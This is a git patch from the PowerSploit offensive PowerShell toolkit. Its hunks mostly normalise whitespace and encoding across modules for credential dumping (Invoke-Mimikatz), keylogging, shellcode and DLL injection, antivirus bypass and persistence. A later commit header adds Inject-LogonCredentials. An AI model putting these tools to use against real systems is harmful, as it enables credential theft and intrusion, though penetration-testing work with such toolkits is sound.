@@ FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1 # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/AntivirusBypass/AntivirusBypass.psm1 b/AntivirusBypass/AntivirusBypass.psm1 index e5234fbe..81d38186 100644 --- a/AntivirusBypass/AntivirusBypass.psm1 +++ b/AntivirusBypass/AntivirusBypass.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1 index 80e2b1fb..d2487b3e 100644 --- a/AntivirusBypass/Find-AVSignature.ps1 +++ b/AntivirusBypass/Find-AVSignature.ps1 @@ -183,4 +183,4 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 #During testing using large binaries, memory usage was excessive so lets fix that [System.GC]::Collect() Write-Verbose "Completed!" -} \ No newline at end of file +} diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 394c7de0..07963fca 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'CodeExecution.psm1' @@ -85,4 +85,4 @@ FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', ' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index e5234fbe..81d38186 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 572a9112..8395ab83 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -325,4 +325,4 @@ http://www.exploit-monday.com } Write-Verbose "Injected DLL information:$($DllInfo)" -} \ No newline at end of file +} diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index ccc1dd68..599212b1 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -2840,4 +2840,4 @@ Function Main } Main -} \ No newline at end of file +} diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 index 4123d06a..158a643c 100644 --- a/CodeExecution/Invoke-ShellcodeMSIL.ps1 +++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1 @@ -1,4 +1,4 @@ -function Invoke-ShellcodeMSIL +function Invoke-ShellcodeMSIL { <# .SYNOPSIS @@ -264,4 +264,4 @@ { Write-Verbose 'Shellcode executed successfully!' } -} \ No newline at end of file +} diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1 index 2fa317ed..0a12a918 100644 --- a/CodeExecution/Watch-BlueScreen.ps1 +++ b/CodeExecution/Watch-BlueScreen.ps1 @@ -1,4 +1,4 @@ -function Watch-BlueScreen +function Watch-BlueScreen { <# .SYNOPSIS @@ -15,7 +15,7 @@ .NOTES Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov - ‏tweeted this technique on 5/13/2013. + ?tweeted this technique on 5/13/2013. .LINK @@ -75,4 +75,4 @@ $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null } -} \ No newline at end of file +} diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 5268eb25..89359efe 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Exfiltration.psm1' @@ -86,4 +86,4 @@ FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/Exfiltration/Exfiltration.psm1 b/Exfiltration/Exfiltration.psm1 index e5234fbe..81d38186 100644 --- a/Exfiltration/Exfiltration.psm1 +++ b/Exfiltration/Exfiltration.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 7dbd23d8..12d27852 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -1,4 +1,4 @@ -function Get-GPPPassword { +function Get-GPPPassword { <# .SYNOPSIS diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 48b7df60..75400a1a 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,4 +1,4 @@ -function Get-Keystrokes { +function Get-Keystrokes { <# .SYNOPSIS @@ -246,4 +246,4 @@ } | Out-Null } -} \ No newline at end of file +} diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index c14c7237..e1ca823f 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -1,4 +1,4 @@ -function Get-TimedScreenshot +function Get-TimedScreenshot { <# .SYNOPSIS diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 289652c4..6eff83c7 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -2710,4 +2710,4 @@ Function Main } Main -} \ No newline at end of file +} diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index cfa763fa..7ff5bfaf 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -2845,4 +2845,4 @@ Main [GC]::Collect() [GC]::Collect() -} \ No newline at end of file +} diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index c692299e..7e56ef08 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1,4 +1,4 @@ -function Invoke-TokenManipulation +function Invoke-TokenManipulation { <# .SYNOPSIS diff --git a/Exfiltration/Out-Minidump.ps1 b/Exfiltration/Out-Minidump.ps1 index afb7dc9f..a43ee0f7 100644 --- a/Exfiltration/Out-Minidump.ps1 +++ b/Exfiltration/Out-Minidump.ps1 @@ -1,4 +1,4 @@ -function Out-Minidump +function Out-Minidump { <# .SYNOPSIS @@ -127,4 +127,4 @@ } END {} -} \ No newline at end of file +} diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml index 41747cbf..5d4d8484 100644 --- a/PETools/Get-LibSymbols.format.ps1xml +++ b/PETools/Get-LibSymbols.format.ps1xml @@ -1,4 +1,4 @@ - + @@ -28,4 +28,4 @@ - \ No newline at end of file + diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 index 414454f4..98646768 100644 --- a/PETools/Get-LibSymbols.ps1 +++ b/PETools/Get-LibSymbols.ps1 @@ -1,4 +1,4 @@ -function Get-LibSymbols +function Get-LibSymbols { <# .SYNOPSIS @@ -279,4 +279,4 @@ } END {} -} \ No newline at end of file +} diff --git a/PETools/Get-ObjDump.format.ps1xml b/PETools/Get-ObjDump.format.ps1xml index d44ade0e..25e13b85 100644 --- a/PETools/Get-ObjDump.format.ps1xml +++ b/PETools/Get-ObjDump.format.ps1xml @@ -1,4 +1,4 @@ - + @@ -289,4 +289,4 @@ - \ No newline at end of file + diff --git a/PETools/Get-ObjDump.ps1 b/PETools/Get-ObjDump.ps1 index 3df8235d..2a8ebcb8 100644 --- a/PETools/Get-ObjDump.ps1 +++ b/PETools/Get-ObjDump.ps1 @@ -1,4 +1,4 @@ -function Get-ObjDump +function Get-ObjDump { <# .SYNOPSIS @@ -705,4 +705,4 @@ } END {} -} \ No newline at end of file +} diff --git a/PETools/Get-PEHeader.ps1 b/PETools/Get-PEHeader.ps1 index 2f35292b..00213772 100644 --- a/PETools/Get-PEHeader.ps1 +++ b/PETools/Get-PEHeader.ps1 @@ -957,4 +957,4 @@ PROCESS { } -} \ No newline at end of file +} diff --git a/PETools/PETools.format.ps1xml b/PETools/PETools.format.ps1xml index 17d2c56f..c5102818 100644 --- a/PETools/PETools.format.ps1xml +++ b/PETools/PETools.format.ps1xml @@ -371,4 +371,4 @@ - \ No newline at end of file + diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index 28a60b91..ef470a7d 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'PETools.psm1' @@ -86,4 +86,4 @@ FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoad # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/PETools/PETools.psm1 b/PETools/PETools.psm1 index e5234fbe..81d38186 100644 --- a/PETools/PETools.psm1 +++ b/PETools/PETools.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Persistence/Add-Persistence.ps1 b/Persistence/Add-Persistence.ps1 index cd04fbf8..27d7ba76 100644 --- a/Persistence/Add-Persistence.ps1 +++ b/Persistence/Add-Persistence.ps1 @@ -1,4 +1,4 @@ -function Add-Persistence +function Add-Persistence { <# .SYNOPSIS @@ -397,4 +397,4 @@ $UserTriggerRemoval } #endregion -} \ No newline at end of file +} diff --git a/Persistence/New-ElevatedPersistenceOptions.ps1 b/Persistence/New-ElevatedPersistenceOptions.ps1 index 4e11deed..5e042862 100644 --- a/Persistence/New-ElevatedPersistenceOptions.ps1 +++ b/Persistence/New-ElevatedPersistenceOptions.ps1 @@ -1,4 +1,4 @@ -function New-ElevatedPersistenceOptions +function New-ElevatedPersistenceOptions { <# .SYNOPSIS @@ -167,4 +167,4 @@ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions' Write-Output $PersistenceOptions -} \ No newline at end of file +} diff --git a/Persistence/New-UserPersistenceOptions.ps1 b/Persistence/New-UserPersistenceOptions.ps1 index 9672c2e1..3b33ffa5 100644 --- a/Persistence/New-UserPersistenceOptions.ps1 +++ b/Persistence/New-UserPersistenceOptions.ps1 @@ -1,4 +1,4 @@ -function New-UserPersistenceOptions +function New-UserPersistenceOptions { <# .SYNOPSIS @@ -125,4 +125,4 @@ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions' Write-Output $PersistenceOptions -} \ No newline at end of file +} diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index 21a78715..de976978 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Persistence.psm1' @@ -34,4 +34,4 @@ ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = ' FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1', 'New-UserPersistenceOptions.ps1', 'Usage.md' -} \ No newline at end of file +} diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 4478ee1b..04f36be3 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -1,3 +1,3 @@ -. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) +. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) . (Join-Path $PSScriptRoot New-UserPersistenceOptions.ps1) -. (Join-Path $PSScriptRoot Add-Persistence.ps1) \ No newline at end of file +. (Join-Path $PSScriptRoot Add-Persistence.ps1) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 8c7f939f..54156d2c 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'PowerSploit.psm1' @@ -93,4 +93,4 @@ FileList = 'PowerSploit.psd1', 'PowerSploit.psm1' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 430c1b85..5ea3b627 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName } \ No newline at end of file +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName } diff --git a/Recon/Get-HttpStatus.ps1 b/Recon/Get-HttpStatus.ps1 index fde3d262..8b60306d 100644 --- a/Recon/Get-HttpStatus.ps1 +++ b/Recon/Get-HttpStatus.ps1 @@ -137,4 +137,4 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html Write-Output $ScanObject } -} \ No newline at end of file +} diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index ab03734e..99bbb895 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -1,4 +1,4 @@ -function Invoke-Portscan +function Invoke-Portscan { <# .SYNOPSIS diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 43ba3a18..88287ef0 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Recon.psm1' @@ -72,9 +72,9 @@ AliasesToExport = '' # List of all modules packaged with this module. ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) -# List of all files packaged with this module +# List of all files packaged with this module FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', - 'Invoke-Portscan.ps1', 'Usage.md' + 'Invoke-Portscan.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' @@ -85,4 +85,4 @@ FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsL # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/Recon/Recon.psm1 b/Recon/Recon.psm1 index e5234fbe..81d38186 100644 --- a/Recon/Recon.psm1 +++ b/Recon/Recon.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ReverseEngineering/ConvertTo-String.ps1 b/ReverseEngineering/ConvertTo-String.ps1 index ab46c74f..1c030b49 100644 --- a/ReverseEngineering/ConvertTo-String.ps1 +++ b/ReverseEngineering/ConvertTo-String.ps1 @@ -1,4 +1,4 @@ -filter ConvertTo-String +filter ConvertTo-String { <# .SYNOPSIS @@ -67,4 +67,4 @@ http://www.exploit-monday.com $FileStream.Close() Write-Output $BinaryText -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml index 3c610ccc..21115d6c 100644 --- a/ReverseEngineering/Get-ILDisassembly.format.ps1xml +++ b/ReverseEngineering/Get-ILDisassembly.format.ps1xml @@ -1,4 +1,4 @@ - + @@ -43,4 +43,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index af0c2a16..f2022e39 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -212,4 +212,4 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf # Adjust the position in the opcode array accordingly $Position += $OperandLength } -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-MethodAddress.ps1 b/ReverseEngineering/Get-MethodAddress.ps1 index 4a488cfd..1ab0d417 100644 --- a/ReverseEngineering/Get-MethodAddress.ps1 +++ b/ReverseEngineering/Get-MethodAddress.ps1 @@ -1,4 +1,4 @@ -function Get-MethodAddress +function Get-MethodAddress { <# .SYNOPSIS @@ -117,4 +117,4 @@ http://www.exploit-monday.com/2012/11/Get-MethodAddress.html { Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." } -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml index 41b5280b..fa3ed414 100644 --- a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml +++ b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml @@ -437,4 +437,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/Get-NtSystemInformation.ps1 b/ReverseEngineering/Get-NtSystemInformation.ps1 index bb0871a8..2bde8f6e 100644 --- a/ReverseEngineering/Get-NtSystemInformation.ps1 +++ b/ReverseEngineering/Get-NtSystemInformation.ps1 @@ -1,4 +1,4 @@ -function Get-NtSystemInformation +function Get-NtSystemInformation { <# .SYNOPSIS diff --git a/ReverseEngineering/Get-PEB.format.ps1xml b/ReverseEngineering/Get-PEB.format.ps1xml index 3d075eb8..59b5362e 100644 --- a/ReverseEngineering/Get-PEB.format.ps1xml +++ b/ReverseEngineering/Get-PEB.format.ps1xml @@ -1207,4 +1207,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/Get-PEB.ps1 b/ReverseEngineering/Get-PEB.ps1 index 86e064d6..7ec5089d 100644 --- a/ReverseEngineering/Get-PEB.ps1 +++ b/ReverseEngineering/Get-PEB.ps1 @@ -1,4 +1,4 @@ -function Get-PEB +function Get-PEB { <# .SYNOPSIS @@ -1089,4 +1089,4 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx END{} -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-Strings.ps1 b/ReverseEngineering/Get-Strings.ps1 index 7acb9f1e..2cb971c8 100644 --- a/ReverseEngineering/Get-Strings.ps1 +++ b/ReverseEngineering/Get-Strings.ps1 @@ -1,4 +1,4 @@ -function Get-Strings +function Get-Strings { <# .SYNOPSIS @@ -95,4 +95,4 @@ http://www.exploit-monday.com } } END {} -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-StructFromMemory.ps1 b/ReverseEngineering/Get-StructFromMemory.ps1 index c32c1901..68f7651f 100644 --- a/ReverseEngineering/Get-StructFromMemory.ps1 +++ b/ReverseEngineering/Get-StructFromMemory.ps1 @@ -1,4 +1,4 @@ -function Get-StructFromMemory +function Get-StructFromMemory { <# .SYNOPSIS @@ -200,4 +200,4 @@ http://www.exploit-monday.com $SafeHandle.Close() Write-Output $ParsedStruct -} \ No newline at end of file +} diff --git a/ReverseEngineering/New-Object.ps1 b/ReverseEngineering/New-Object.ps1 index 77b24f68afdb54543c21b0a8c5fcd4086b06fa2a..52c38c8d21cfaa517cf2b19688ced8df3badf32f 100644 GIT binary patch literal 2189 zcmb_eZEM>w5dI#>fAFYT97xT&k7XH4(w7DL5=iNn5Qb`BQf;x`R}{)ODef3 zv~2ofMZSCPo_kIguW}I?E`@gko8#Mu-w>H@XWQ*~xE7N%PQZ-0h`Cq?XRu;b*;dpBTu{bl8o(c7Tfml%8VV83%52i`RkF*8yXL*J+z2Hs3+PB{&~G^iz# zHVV_ItSnPS&(M0tQU7nMGBYY{(egX1dJwT!_#z6YhL6TdcYWMov~Sw3{+%iN6f)e4k1 z^n8&g$&2*#p0B*XpUuZI7xBL5baDz3=up5m!4*q1GISjY&)+DPWf0@Ap+cNLLzGinO{6gJ zY{IE{l79fROL0zwC}F(~aPBlCi&U&T6sHMW16_@9lpC2c!U}62nim>tSq-+9&}A|@ zQam$NF5Ayeaz9@6RJ$}4f`Ke!4++e81_>8HtoE=(VBWR}{InpNSXwLDTgCC(989te z5RU1FQP&@2W+}L<^lRTK^Qh$JMVs0IAJti=WCU7QKP0WowyHT^1u87Ed(i zss0L>fvM1ji3oxP>4L{t8`@ncnNF_e)3czw1N{N^Ydupee2Wy6twm92wE`cQAY|p^ zY;|=CF$l2?{9jfWvVEgy^r}_3()#T>f`|{+@RR?(BEFx?xhN+E<K5dYWzIQvQ=U;>9Jrw`| literal 4376 zcmd5=?@t;*5S`CW`afJFsgP7s`?0A_m8vySA;I*^g)|5!r3ED1sU?Pgz3qFujK^|& z$C+r_5ZJxF-TCom=I!X8-&b-Y6X{7JL%GH*kaLOTPIjazm+}L1zI!Pz6B{*mE`lwo4vbpnR4(k$zcALa%6TX=tMYGnos=CGlb zsgz5^VgRWVr+!@4Qok+#?0|<-zs{hc4;cZt?<>X`;-Z}RE~8B)@%$WT{Cad(1+s6T z>j1x3_)vNPjtRgr6T^}t$7(&N;}B;81ea4NM~7$RcqEV=Gx}$VFa># zy`58=YQIHZpVr5oxmU?BPvPOF2(s^BjBN~yG^(8ya3K4WsbQG@va`{QIFw(I)iaf2 z`GEK^XCk~w44X~l7HdDTVzC=T8tb!;%wQF|tE@y{m!-Ana;WW1y5Kh6H8xx8xT9Ff zyxG~aSi97plP$JsI#MVOQC$=Q}mv({<^$n=qkaGngZ>lj>q0*Q>K&00UQO@oQOZOS9L z$$~nVUGFgE`tmXJqqzV!Y5i@wrxMgCZ`wO=WLypQX*GgVbG8Q`VtiKL_}MGH)$(fE zkF8&t=5UDGu-(S3sSWn?n*U^c)=Olf%)DZq(&8%qqS1P>yKUv_+L7^Xj2bw_4b1+9 z5mL6TnVysU>h>vq`&}H>Zf3Kxmageo>~XmsL}jt2H)o>tL}N)`zisFO9+zoqO>xHQ zE + @@ -33,4 +33,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/ProcessModuleTrace.ps1 b/ReverseEngineering/ProcessModuleTrace.ps1 index 3eb57a78..85f71053 100644 --- a/ReverseEngineering/ProcessModuleTrace.ps1 +++ b/ReverseEngineering/ProcessModuleTrace.ps1 @@ -1,4 +1,4 @@ -function Register-ProcessModuleTrace +function Register-ProcessModuleTrace { <# .SYNOPSIS @@ -100,4 +100,4 @@ function Unregister-ProcessModuleTrace #> Unregister-Event -SourceIdentifier 'ModuleLoaded' -} \ No newline at end of file +} diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index b7da3551..de364e1f 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'ReverseEngineering.psm1' diff --git a/ReverseEngineering/ReverseEngineering.psm1 b/ReverseEngineering/ReverseEngineering.psm1 index 5bb81d32..81d38186 100644 --- a/ReverseEngineering/ReverseEngineering.psm1 +++ b/ReverseEngineering/ReverseEngineering.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ScriptModification/Out-CompressedDll.ps1 b/ScriptModification/Out-CompressedDll.ps1 index 3aa5c2bf..5e6897d9 100644 --- a/ScriptModification/Out-CompressedDll.ps1 +++ b/ScriptModification/Out-CompressedDll.ps1 @@ -1,4 +1,4 @@ -function Out-CompressedDll +function Out-CompressedDll { <# .SYNOPSIS @@ -78,4 +78,4 @@ $EncodedCompressedFile "@ Write-Output $Output -} \ No newline at end of file +} diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 index cae47157..04e8c12d 100644 --- a/ScriptModification/Out-EncodedCommand.ps1 +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -1,4 +1,4 @@ -function Out-EncodedCommand +function Out-EncodedCommand { <# .SYNOPSIS @@ -181,4 +181,4 @@ http://www.exploit-monday.com } Write-Output $CommandLineOutput -} \ No newline at end of file +} diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 3f090205..4fc69cfc 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -126,4 +126,4 @@ return $encoding.GetString($h,0,$h.Length); Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)" -} \ No newline at end of file +} diff --git a/ScriptModification/Remove-Comments.ps1 b/ScriptModification/Remove-Comments.ps1 index ec759278..45a97464 100644 --- a/ScriptModification/Remove-Comments.ps1 +++ b/ScriptModification/Remove-Comments.ps1 @@ -1,4 +1,4 @@ -function Remove-Comments +function Remove-Comments { <# .SYNOPSIS @@ -153,4 +153,4 @@ http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ } Write-Output ([ScriptBlock]::Create($StringBuilder.ToString())) -} \ No newline at end of file +} diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index 7393c293..d326c12c 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'ScriptModification.psm1' @@ -85,4 +85,4 @@ FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-Compressed # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/ScriptModification/ScriptModification.psm1 b/ScriptModification/ScriptModification.psm1 index 5bb81d32..81d38186 100644 --- a/ScriptModification/ScriptModification.psm1 +++ b/ScriptModification/ScriptModification.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} From 1503375bfbf0ee7ade498ea77444a4f1db4873e4 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Sun, 17 Nov 2013 21:13:15 -0800 Subject: [PATCH 037/382] Adding Inject-LogonCredentials --- Exfiltration/Exfiltration.psd1 | 2 +- Exfiltration/Inject-LogonCredentials.ps1 | 3413 +++++++++++++++++ .../LogonUser/LogonUser/LogonUser.sln | 26 + .../LogonUser/LogonUser/LogonUser.cpp | 137 + .../LogonUser/LogonUser/LogonUser.vcxproj | 158 + .../LogonUser/LogonUser.vcxproj.filters | 36 + .../LogonUser/LogonUser/LogonUser/ReadMe.txt | 40 + .../LogonUser/LogonUser/LogonUser/stdafx.cpp | 8 + .../LogonUser/LogonUser/LogonUser/stdafx.h | 20 + .../LogonUser/LogonUser/LogonUser/targetver.h | 8 + .../LogonUser/LogonUser/logon/ReadMe.txt | 48 + .../LogonUser/LogonUser/logon/dllmain.cpp | 19 + .../LogonUser/LogonUser/logon/logon.cpp | 258 ++ .../LogonUser/LogonUser/logon/logon.vcxproj | 176 + .../LogonUser/logon/logon.vcxproj.filters | 39 + .../LogonUser/LogonUser/logon/stdafx.cpp | 8 + .../LogonUser/LogonUser/logon/stdafx.h | 25 + .../LogonUser/LogonUser/logon/targetver.h | 8 + 18 files changed, 4428 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Inject-LogonCredentials.ps1 create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser.sln create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h create mode 100644 Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt create mode 100644 Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/logon/logon.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj create 